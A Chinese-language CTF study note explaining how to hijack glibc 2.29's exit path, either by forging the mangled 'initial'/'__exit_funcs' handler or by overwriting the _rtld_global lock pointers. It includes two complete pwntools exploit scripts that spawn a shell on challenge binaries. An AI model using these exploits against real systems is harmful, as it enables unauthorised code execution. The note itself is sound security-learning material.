学习关于exit的利用方法

学习笔记

Posted by X1ng on December 15, 2020

什么?我直接exit退出你都要攻击我?

改写initial或__exit_funcs

实验环境glibc-2.29

原理

在调用exit的过程中,进入__run_exit_handlers函数有这样一段汇编代码

对应我找到的glibc-2.29源码中

glibc/stdlib/exit.c line70

      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
          	{
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
              ...
          	}
        ...
     		}

[rax+0x18]也就是[initial+0x18]处的数据经过循环右移0x11位后与fs:[0x30]异或处理得到函数地址,再将[initial+0x20]处的数据作为第一个参数,然后调用这个处理后得到的函数

逻辑左移时,最高位(符号位)丢失,最低位补0;

逻辑右移时,最高位(符号位)补0,最低位丢失;

算术左移时,最高位(符号位)不变,右边补0;

算术右移时,最高位(符号位)不变,左边补符号位;

循环左移时,将最高位重新放置最低位

循环右移时,将最低位重新放置最高位

而initial处的数据为

这个处理后得到的函数就是_dl_fini函数

但是由于并不能从gdb中查看像fs这样的寄存器的内容(而且应该也是随机的),并且inital所在的段是可写的

可以通过任意地址读泄露[initial+0x18]的内容,经过循环右移后再与_dl_fini函数的地址异或,就可以得到fs:[0x30]

之后通过任意地址写将[initial+0x18]的内容改写为system函数经过处理后的数据,再将[initial+0x20]的内容改写为”/bin/sh”的地址,就可以完成调用getshell了


在我找到的glibc-2.29源码中

可以看到有一个指向initial的指针*__exit_funcs

glibc/stdlib/cxa_atexit.c line76

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

而在exit函数调用__run_exit_handlers函数的时候也是通过__exit_funcs来将initial作为参数传递的

glibc/stdlib/exit.c line136

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

并且__exit_funcs所在的段也是可写的

所以除了可以修改initial以外,也可以将__exit_funcs覆盖为一个伪造的地址,在这个地址上伪造initial的结构,控制程序执行system函数


例题

ROAR ctf 2020 2a1

程序逻辑就是给一次任意地址读和任意地址写,在任意地址写的时候是将一个地址修改为堆地址,可以往这个chunk里写入数据

所以可以在chunk中伪造initial结构,将__exit_funcs覆盖到这个堆地址

exp:

#!/usr/bin/python


from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='2+1'
libc_name='libc.so.6'

if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('',)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def ROR(i,index):
    tmp = bin(i)[2:].rjust(64,"0")
    for _ in range(index):
        tmp = tmp[-1] + tmp[:-1]
    return int(tmp, 2)

def ROL(i,index):
    tmp = bin(i)[2:].rjust(64, "0")
    for _ in range(index):
        tmp = tmp[1:] + tmp[0]
    return int(tmp, 2)

ru('Gift: ')
libc_base = int(p.recvline()[:-1],16)-libc.sym['alarm']
print(hex(libc_base))

initial = libc_base+0x3c5c40
ptr = initial + 0x18
dl_fini=libc_base+0x3daaf0

sa('where to read?:',p64(ptr))
ru('data: ')
encode = u64(p.recv(8))
encode_1 = ROR(encode,0x11)
key = dl_fini ^ encode_1
print(hex(key))

exit_funcs=libc_base+0x3c45f8
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()

encode_system = key ^ system
encode_system = ROL(encode_system,0x11)
sa('where to write?:',p64(exit_funcs))

sla('msg:',b'a'*0x8+p64(1)+p64(4)+p64(encode_system)+p64(binsh))
ia()

改写__rtld_lock_unlock_recursive

一般也叫exit_hook

实验环境glibc-2.29

原理

__run_exit_handlers函数正常调用_dl_fini函数后,_dl_fini函数又会通过_rtld_lock_unlock_recursive宏定义来调用_rtld_global结构体中的函数指针

在exit()中执行流程为

exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive

由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流

在gdb中输入 p _rtld_global命令可以完整的看到该结构体

其中rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive两个是都会被调用的函数指针

而该结构体所在的段也是具有可写权限的

由于不能控制参数,所以可以通过任意地址写将其中一个函数指针改写为one_gadget完成利用

例题

安洵杯2020 sfs

exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='sfs'
libc_name='libc.so.6'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('axb.d0g3.cn',20103)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

payload = '''
{   
    "name": "a",
    "passwd": "b"
}
'''
payload = payload.replace('\n','')

def pwn():
    z('b *main')
    p.sendline(payload)
    p.recvuntil('logger:')
    p.recvuntil('logger:')
    libc_base = leak_address()-0x3c4b78
    print(hex(libc_base))
    if libc_base < 0x7f0000000000:
        return 0
    exit_hook1=libc_base+0x8f9f48
    exit_hook2=libc_base+0x8f9f50
    
    one_gadget = libc_base+0xf0364
    a = p64(one_gadget)[0]
    p.send(p64(exit_hook1))
    p.send(p8(a))
    p.send(p64(exit_hook1+1))
    a = p64(one_gadget)[1]
    print(hex(one_gadget),p8(a))
    p.send(p8(a))
    p.send(p64(exit_hook1+2))
    a = p64(one_gadget)[2]
    print(hex(one_gadget),p8(a))
    p.send(p8(a))
    ia()
pwn()

参考资料

libc-2.29

ROAR ctf 部分wp

exit_hook劫持